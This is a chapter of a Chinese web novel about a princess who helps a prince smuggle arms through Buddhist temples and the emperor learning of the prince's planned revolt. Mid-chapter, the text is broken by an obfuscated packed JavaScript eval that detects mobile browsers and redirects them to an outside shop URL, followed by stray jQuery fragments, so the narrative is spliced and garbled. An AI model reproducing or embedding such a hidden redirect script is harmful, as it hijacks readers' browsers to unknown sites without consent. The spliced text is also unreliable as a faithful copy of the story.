公主第的书房中,谢宜瑶正在来回踱步,翻着手中书页,脑袋却时不时向外探去。
好在灵鹊甫一回到公主第,就立刻前来书房回禀状况,谢宜瑶看到她出现,立马放下了被攥皱的书卷:“一切都顺利吗?”
“殿下放心,都很顺利。”
谢宜瑶这才松了口气,心中隐约的焦急和不安顿时烟消云散。
她不是第一次替谢冲做会掉脑袋的事了,前世今生,她再次和谢冲成为了共犯,仿若冥冥之中的宿命。
但这一次谢宜瑶不是没有吸取教训的。
不久前,谢宜瑶出资新建的一座佛寺竣工,其名为观音寺。观音寺的位置好巧不巧,就在城西北岸,和谢冲的王府隔岸相望。
京中王公们的府邸,并不像公主们的宅第坐落于内城,而是在外城的西城中,这是建康都城数代以来的旧例。
虽说西城单论直线距离,其实离宫城并不太远,但在西城和宫城之间往来,也是要比公主第多过一重宫门,甚至还要过护城河。
因此即使同为皇亲,比起宗室诸王,公主们出入宫中要更方便得多。
这也是当初谢冲考虑与谢宜瑶合作的原因之一。
不过到了此时此刻,这样的地理位置关系反而有利于谢冲,他借着自家王府靠近渡口的优势,私底下运输物资,更不容易被察觉。
谢冲是联系了谁替他制造兵器的,谢宜瑶不得而知,只知道这批东西顺着长江被运到渡口后,其中不大要紧的直接由人搬至江夏王府,而像甲胄一类紧要的则被暗地里搬到观音寺中。
观音寺里是谢宜瑶安排的人,其中还有一些石城寺的旧交,譬如慧净。
谢冲的这批东西被观音寺包装成修造佛像、佛塔的原材料,借着公主的身份和佛家的由头,再被不动声色地顺着秦淮河送到石城寺,藏匿在寺庙当中。
涉及的人虽然不多,但其中个个环节的其成本都不小,好在谢冲主动提出由他来出资,并且出手十分阔绰,谢宜瑶甚至还从中榨了不少油水。
她可不会做亏本的买卖,让好处都让谢冲一个人拿去。
眼看第一波东西平安无事地落地,谢宜瑶心上悬着的一块大石头才算是落地了。
虽说她后续还有些安排,但风险远不及前头做的这些,无需如此挂心。
谢宜瑶看向灵鹊:“这趟下来,江夏王给我们的钱,有多少盈余?”
灵鹊替谢宜瑶分担理账事务,做得很是得心应手。一些重要的数目她向来熟记于心,加上心算本领强,稍一思考,便给出了回答。
就算早有预计,但听到灵鹊报的数字时,谢宜瑶还是吃了一惊。
这可真是一比划算的买卖啊!
这几年谢宜瑶名下的田宅虽然也让她的“开源”之计大有成效,但减去公主第和豢养私兵的支出,一年的盈余都远不及她这次从谢冲手指间流下的碎金碎银中捞到的多。
有钱,很多问题就都能迎刃而解。
譬如北伐大捷,谢况还有意持续与北燕交战,但这钱粮的支出是个大口子。
谢况这几年在尚佛一事上的花费愈来愈大,饶是日渐增长的赋税也不能弥补上这个缺口,因此军费将会短缺显然可以遇见的。
他不舍得削减佛事的开支,只好明里暗里觍着脸向大臣们讨要,前些日子就公然在朝会上督促有司筹措军费,实际上却另有所指。
谢冲那个吝啬鬼是肯定只会捐出一小笔钱充门面的,其他的王公贵族们也只能指望他们的良心了。
谢宜瑶深知单纯靠讨好是不可能获得谢况的重视的,她得给谢况带了实打实的好处才行。
并且谢况是能知道她名下有多处利润颇丰的田产商铺的,但谢宜瑶平日很少有大额的消费,若是哪天谢况心血来潮,想查查谢宜瑶赚来的钱都用在了何处,可就麻烦了。
恰好刚从谢冲身上薅到这笔钱,若能借着她的名义转手给谢况,正好还能在账面上圆过去。
顺势还能替谢况解了军费的燃眉之急,岂不美哉?
……
咸宁六年夏,江夏王谢冲的生母贺太妃去世。
太妃又是当今皇帝的庶母,百善孝为先,即使是皇室也不能免俗。
因此不仅谢冲挂职在家,谢况也停了不少不紧要的事务。
就连选尚公主都被搁置了,好在谢宜琬的夫婿已经定了人选,只需推迟婚事定期,而谢宜臻的年龄尚且还可以拖一拖。
说到婚事,在谢宜瑶的庇护下,沈蕴芳总算是彻底和家里人打赢了胜仗。
虽说她不愿成婚的名声早就遍布京城,早就选不到好的夫婿,但能让沈家人愿意真正同意不再逼她结婚,沈蕴芳还是费了好一番功夫的。
而崔朝华则有另类的幸运,她眼光刁钻,否定了好几个崔晖为她挑的夫婿人选,崔晖还以为她也要学沈家女一般终身不嫁,谁知她竟学贾氏窥帘,为自己挑了个满意的丈夫,若不是遇上太妃薨逝,不日便是婚期了。
不过崔朝华早就给谢宜瑶吃了定心丸,她将来仍会住在京城,并且继续给袁敬亭讲学的,她很喜爱这个孩子,也珍惜教授知识的机会,不会因为婚姻而变。
贺太妃的过世让不少人放慢了正在做的事,却也让一些人人加速了步伐。
借着为生母守丧的由头,谢冲日日在王府中谋划着他的大业。
虽然面对谢宜瑶,他还是那套“自保”“对抗太子”的说辞,但她知道,谢冲早就已经生了异心。
谢冲擅长通权达变,这是好听些的说法,说难听些,就是见风使舵。
他已经私下都开始招兵买马了,也不能说他就已经定下了谋反的心思,走一步看一步,这些谢冲固有的做事法则。
然而,不论谢冲是否会踏出最后一步,都不影响到谢宜瑶的计划。
螳螂捕蝉,黄雀在后。
与此同时,宫城当中,有人正在烦恼。
虽然今日是休沐日,谢况却仍然在文德殿处理政务,并未休息片刻。
前线一触即发,这北燕和南楚之间,却出了一桩事。
谢况刚当上皇帝那一年,北燕沉迷内斗,燕王的亲叔父谋逆败露被赐死,他所生的儿子全被除籍,有牵扯的也被赐死。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556590|137804||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
五年过去,这几个被除籍的宗室子境遇很糟糕。尤其是几位年纪不小了的,不愿过落魄的生活,但也没有东山再起的途径,于是有兄弟二人结伴南奔,投奔大楚。
南北对立以来,宗室、贵族投奔敌国并非罕事。正所谓敌人的敌人就是朋友,前代的宗室也有数位在谢况篡位后投奔北燕,俯首称臣的。
不过,这几位和皇帝是一家人,却落得如此境地,实在可悲。
相比而言,朕就对宗室和善多了,谢况心想。
不得不说,叔父造侄子的反,并不罕见,可它偏偏发生在谢况称帝那一年。
那时候的谢况刚从血海中杀出一条路,初登帝位,却已经在想身后事了。
若是谢宜瑶知道了,肯定会觉得神奇,毕竟前世她临死前的那几年里,谢况已经开始了对长生的追求,不肯放下权力,甚至开始猜忌太子,和谢容有了隔阂。
咸宁元年的谢况,一个人默默地想过很多问题。
比如刚立太子时,就曾想过若是自己走在前头,不知那几个胞弟郡王会怎么对那时候的新帝,是衷心辅佐,还是取而代之?
又听闻这个造反的皇叔,在前一朝还是皇子的时候,曾经也有过成为储君的机会,故而后来才生了造反的心思,这又让谢况想到谢义远,他曾经被过继给了自己,会不会也有一样的想法?
对于这些宗室子弟,谢况并没有傻到毫不怀疑,但前代的教训在前,让他理智上也不愿苛待他们。
更何况,他走到这一步,已经伤害过太多人,如果连骨肉亲情都抛弃了,那他就真要成为孤家寡人了。
回到现在,要怎么处置这两个北燕王族,对谢况来说是个头疼的问题。引狼入室固然不可,但他们知晓北燕的密辛,留着必然有用。
百般思量后,谢况决定暂且先将他们安置在京中,派人好生监视着,和景灿几个商量商量再做决定,左右他们也没别的地方可去,放在眼皮子底下,是最安心的。
处理完了政务,谢况决定和官员们一样,偷得浮生半日闲。
他召来几个颇有文学素养的近臣,叫他们就在这殿中研墨作诗,吟咏一番。
这些人未必有多少治国的才干,却因着文学上的造诣被谢况看重,以近帝身,虽然手中并无权柄,但假以时日,未必不能扶摇直上。
然而谢况只放松了片刻,就生生被人扰了清闲。
虽说今日是休沐,但谢况还是在文德殿呆着,就是担心会有急事发生,毕竟军机耽误不得。
没想到,来人却是崔晖,带着一个谢况没有预想到的消息。
“江夏府的李主簿有要事禀报,给了臣一封文书,说是须得让陛下亲自过目,臣虽不解其意,但担心坏了大事,特此叨扰陛下。”
“无妨,”谢况挥了挥手,他分得清轻重缓急,将那些正在作诗的人先打发了出去,“给朕看看吧。”
“是。”
谢况接过崔晖递过来的文书,检查了一番,没有被人拆封过的痕迹,于是才安心地拆开封套,只见纸上用写着五个大字:
江夏王欲反。